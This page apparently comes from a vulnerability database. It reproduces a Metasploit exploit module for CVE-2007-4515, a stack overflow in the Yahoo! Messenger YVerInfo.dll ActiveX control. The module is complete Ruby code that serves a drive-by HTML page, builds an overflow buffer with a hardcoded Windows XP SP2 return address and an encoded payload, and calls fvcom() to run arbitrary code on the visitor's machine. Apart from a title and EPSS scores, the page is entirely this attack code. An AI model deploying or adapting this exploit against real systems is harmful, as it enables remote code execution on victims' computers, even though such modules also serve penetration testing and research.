Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow

2009-11-2600:00:00

packetstormsecurity.com

0.895 High

EPSS

Percentile

98.5%

JSON

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the Yahoo! Messenger ActiveX  
Control (YVerInfo.dll <= 2006.8.24.1). By sending a overly long string   
to the "fvCom()" method from a yahoo.com domain, an attacker may be able   
to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-4515' ],  
[ 'OSVDB', '37739' ],  
[ 'BID', '25494' ],  
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=591' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x09\x0a\x0d'\\",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP2 Pro English', { 'Ret' => 0x7cc58fd8 } ], # Tested on fully patched XPSP2 9/29/07  
],  
'DisclosureDate' => 'Aug 30 2007',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Randomize some things  
vname = rand_text_alpha(rand(100) + 1)  
strname = rand_text_alpha(rand(100) + 1)  
  
# Set the exploit buffer   
sploit = rand_text_english(411) + [target.ret].pack('V')  
sploit << p.encoded + rand_text_english(payload.encoded.length)  
  
# Build out the message  
content = %Q|  
<html>  
<object classid='clsid:D5184A39-CBDF-4A4F-AC1A-7A45A852C883' id='#{vname}'></object>  
<script language='javascript'>  
#{strname} = new String('#{sploit}');  
#{vname}.fvcom(#{strname});  
</script>  
</html>  
|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`

0.895 High

EPSS

Percentile

98.5%

JSON

Related for PACKETSTORM:83058